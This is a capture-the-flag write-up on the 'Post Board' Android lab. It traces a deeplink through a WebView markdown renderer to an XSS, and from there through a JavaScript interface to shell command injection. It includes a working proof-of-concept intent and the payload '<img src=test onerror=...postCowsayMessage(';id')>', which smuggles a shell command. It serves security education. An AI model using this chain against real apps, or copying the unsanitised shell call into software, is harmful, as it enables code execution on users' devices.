Post Board
android webview deeplink

Description


This challenge is designed to delve into the complexities of Android’s WebView component, exploiting a Cross-Site Scripting (XSS) vulnerability to achieve Remote Code Execution (RCE). It’s a great opportunity to engage with Android application security focusing on WebView security issues.

Objective

Exploit an XSS vulnerability in a WebView component to achieve RCE in an Android application.

Solution


Analysis

First I see the code of the app using Jadx-gui

When we look at the android manifest we see this activity

<activity
    android:name="com.mobilehackinglab.postboard.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="postboard"
            android:host="postmessage"/>
    </intent-filter>
</activity>

This activity handles a deep link and we will find in the code how can we interact with it for more interesting stuff.

and when I go to the MainActivity we have 3 main functions

  • onCreate and it contains the creation of activity instructions and it calls the other 2 functions
  • setupWebView and it exposes a JavaScript Interface

      private final void setupWebView(WebView webView) {
              webView.getSettings().setJavaScriptEnabled(true);
              webView.setWebChromeClient(new WebAppChromeClient());
              webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface");
              webView.loadUrl("file:///android_asset/index.html");
          }
    

So we can access the function of that interface through WebAppInterface

This interface has 2 function and we can see the implementaton by visiting the WebAppInterface class

  • postMarkdownMessage and this function accepts a message and posts it in markdown format

      @JavascriptInterface
      public final void postMarkdownMessage(String markdownMessage) {
              Intrinsics.checkNotNullParameter(markdownMessage, "markdownMessage");
              String html = new Regex("```(.*?)```", RegexOption.DOT_MATCHES_ALL).replace(markdownMessage, "<pre><code>$1</code></pre>");
              String html2 = new Regex("`([^`]+)`").replace(html, "<code>$1</code>");
              String html3 = new Regex("!\\[(.*?)\\]\\((.*?)\\)").replace(html2, "<img src='$2' alt='$1'/>");
              String html4 = new Regex("###### (.*)").replace(html3, "<h6>$1</h6>");
              String html5 = new Regex("##### (.*)").replace(html4, "<h5>$1</h5>");
              String html6 = new Regex("#### (.*)").replace(html5, "<h4>$1</h4>");
              String html7 = new Regex("### (.*)").replace(html6, "<h3>$1</h3>");
              String html8 = new Regex("## (.*)").replace(html7, "<h2>$1</h2>");
              String html9 = new Regex("# (.*)").replace(html8, "<h1>$1</h1>");
              String html10 = new Regex("\\*\\*(.*?)\\*\\*").replace(html9, "<b>$1</b>");
              String html11 = new Regex("\\*(.*?)\\*").replace(html10, "<i>$1</i>");
              String html12 = new Regex("~~(.*?)~~").replace(html11, "<del>$1</del>");
              String html13 = new Regex("\\[([^\\[]+)\\]\\(([^)]+)\\)").replace(html12, "<a href='$2'>$1</a>");
              String html14 = new Regex("(?m)^(\\* .+)((\\n\\* .+)*)").replace(html13, new Function1<MatchResult, CharSequence>() { // from class: com.mobilehackinglab.postboard.WebAppInterface$postMarkdownMessage$1
                  @Override // kotlin.jvm.functions.Function1
                  public final CharSequence invoke(MatchResult matchResult) {
                      Intrinsics.checkNotNullParameter(matchResult, "matchResult");
                      return "<ul>" + CollectionsKt.joinToString$default(StringsKt.split$default((CharSequence) matchResult.getValue(), new String[]{"\n"}, false, 0, 6, (Object) null), "", null, null, 0, null, new Function1<String, CharSequence>() { // from class: com.mobilehackinglab.postboard.WebAppInterface$postMarkdownMessage$1.1
                          @Override // kotlin.jvm.functions.Function1
                          public final CharSequence invoke(String it) {
                              Intrinsics.checkNotNullParameter(it, "it");
                              StringBuilder append = new StringBuilder().append("<li>");
                              String substring = it.substring(2);
                              Intrinsics.checkNotNullExpressionValue(substring, "this as java.lang.String).substring(startIndex)");
                              return append.append(substring).append("</li>").toString();
                          }
                      }, 30, null) + "</ul>";
                  }
              });
              String html15 = new Regex("(?m)^\\d+\\. .+((\\n\\d+\\. .+)*)").replace(html14, new Function1<MatchResult, CharSequence>() { // from class: com.mobilehackinglab.postboard.WebAppInterface$postMarkdownMessage$2
                  @Override // kotlin.jvm.functions.Function1
                  public final CharSequence invoke(MatchResult matchResult) {
                      Intrinsics.checkNotNullParameter(matchResult, "matchResult");
                      return "<ol>" + CollectionsKt.joinToString$default(StringsKt.split$default((CharSequence) matchResult.getValue(), new String[]{"\n"}, false, 0, 6, (Object) null), "", null, null, 0, null, new Function1<String, CharSequence>() { // from class: com.mobilehackinglab.postboard.WebAppInterface$postMarkdownMessage$2.1
                          @Override // kotlin.jvm.functions.Function1
                          public final CharSequence invoke(String it) {
                              Intrinsics.checkNotNullParameter(it, "it");
                              StringBuilder append = new StringBuilder().append("<li>");
                              String substring = it.substring(StringsKt.indexOf$default((CharSequence) it, '.', 0, false, 6, (Object) null) + 2);
                              Intrinsics.checkNotNullExpressionValue(substring, "this as java.lang.String).substring(startIndex)");
                              return append.append(substring).append("</li>").toString();
                          }
                      }, 30, null) + "</ol>";
                  }
              });
              String html16 = new Regex("^> (.*)", RegexOption.MULTILINE).replace(html15, "<blockquote>$1</blockquote>");
              this.cache.addMessage(new Regex("^(---|\\*\\*\\*|___)$", RegexOption.MULTILINE).replace(html16, "<hr>"));
          }
    
  • postCowsayMessage It leads to the RCE we want and this is it’s implementation

      @JavascriptInterface
          public final void postCowsayMessage(String cowsayMessage) {
              Intrinsics.checkNotNullParameter(cowsayMessage, "cowsayMessage");
              String asciiArt = CowsayUtil.INSTANCE.runCowsay(cowsayMessage);
              String html = StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(asciiArt, "&", "&amp;", false, 4, (Object) null), "<", "&lt;", false, 4, (Object) null), ">", "&gt;", false, 4, (Object) null), "\"", "&quot;", false, 4, (Object) null), "'", "&#039;", false, 4, (Object) null);
              this.cache.addMessage("<pre>" + StringsKt.replace$default(html, "\n", "<br>", false, 4, (Object) null) + "</pre>");
          }
    

    We see that it accepts the message as parameter and runs the method runConsay against the message

    Its implementation is

      public final String runCowsay(String message) {
                  Intrinsics.checkNotNullParameter(message, "message");
                  try {
                      String[] command = {"/bin/sh", "-c", CowsayUtil.scriptPath + ' ' + message};
                      Process process = Runtime.getRuntime().exec(command);
                      StringBuilder output = new StringBuilder();
                      InputStream inputStream = process.getInputStream();
                      Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
                      Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
                      BufferedReader bufferedReader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
                      try {
                          BufferedReader reader = bufferedReader;
                          while (true) {
                              String it = reader.readLine();
                              if (it == null) {
                                  Unit unit = Unit.INSTANCE;
                                  CloseableKt.closeFinally(bufferedReader, null);
                                  process.waitFor();
                                  String sb = output.toString();
                                  Intrinsics.checkNotNullExpressionValue(sb, "toString(...)");
                                  return sb;
                              }
                              output.append(it).append("\n");
                          }
                      } finally {
                      }
                  } catch (Exception e) {
                      e.printStackTrace();
                      return "cowsay: " + e.getMessage();
                  }
              }
    

    So if we can control the message we can make it to be ;id and the command id will be executed and thus we got the RCE

  • handleIntent

      private final void handleIntent() {
              Intent intent = getIntent();
              String action = intent.getAction();
              Uri data = intent.getData();
              if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null || !Intrinsics.areEqual(data.getScheme(), "postboard") || !Intrinsics.areEqual(data.getHost(), "postmessage")) {
                  return;
              }
              ActivityMainBinding activityMainBinding = null;
              try {
                  String path = data.getPath();
                  byte[] decode = Base64.decode(path != null ? StringsKt.drop(path, 1) : null, 8);
                  Intrinsics.checkNotNullExpressionValue(decode, "decode(...)");
                  String message = StringsKt.replace$default(new String(decode, Charsets.UTF_8), "'", "\\'", false, 4, (Object) null);
                  ActivityMainBinding activityMainBinding2 = this.binding;
                  if (activityMainBinding2 == null) {
                      Intrinsics.throwUninitializedPropertyAccessException("binding");
                      activityMainBinding2 = null;
                  }
                  activityMainBinding2.webView.loadUrl("javascript:WebAppInterface.postMarkdownMessage('" + message + "')");
              } catch (Exception e) {
                  ActivityMainBinding activityMainBinding3 = this.binding;
                  if (activityMainBinding3 == null) {
                      Intrinsics.throwUninitializedPropertyAccessException("binding");
                  } else {
                      activityMainBinding = activityMainBinding3;
                  }
                  activityMainBinding.webView.loadUrl("javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");
              }
          }
    

    We have 4 conditions for the intent this activity receives

    • Intent action == android.intent.action.VIEW
    • data == null
    • The uri scheme == postboard
    • The uri host == postmessage

After this the path is decoded from base64 to extract the message

This message is passed to postMarkdownMessage in the WebAppInterface

but we want to execute postCowsayMessage because we can get the RCE from it.

Exploitation Path

  • access handleIntent by sending an intent that satisfies the conditions we said
  • the path of the uri we send in the intent will be the message and it will be posted as markdown so:
    • We can make use of it to trigger XSS as <img> is supported by markdown so we can put an image and make the onerror event triggers the postCowsayMessage through the javascript interface with a ;id as a message for RCE POC

Exploitation

  • Creating the POC app
private void sendCustomIntent() {
        // Encode the message in Base64 (URL_SAFE)
        String payload = "<img src=test onerror=WebAppInterface.postCowsayMessage(';id')>";
        String base64 = Base64.encodeToString(payload.getBytes(), Base64.URL_SAFE | Base64.NO_WRAP);

        // Build the URI
        String uriString = "postboard://postmessage/" + base64;
        Uri uri = Uri.parse(uriString);

        // Create the intent
        Intent intent = new Intent("android.intent.action.VIEW", uri);
        startActivity(intent);

    }

Here we create the uri that satisfies the scheme and host conditions

The payload is encoded as base64 then send as the path of the uri to get decoded at the target

We trigger that intent from a button click in our poc app

button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                sendCustomIntent();
            }
        });

The target receive the intent and send the payload as markdown and because the payload is <img src=test onerror=WebAppInterface.postCowsayMessage(';id')> then the event onerror will be triggered because there’s an error in finding the image

Then postCowsayMessage(';id') will be triggered and we got the RCE as shown

RCE.png

Thanks for reading ^^ ;)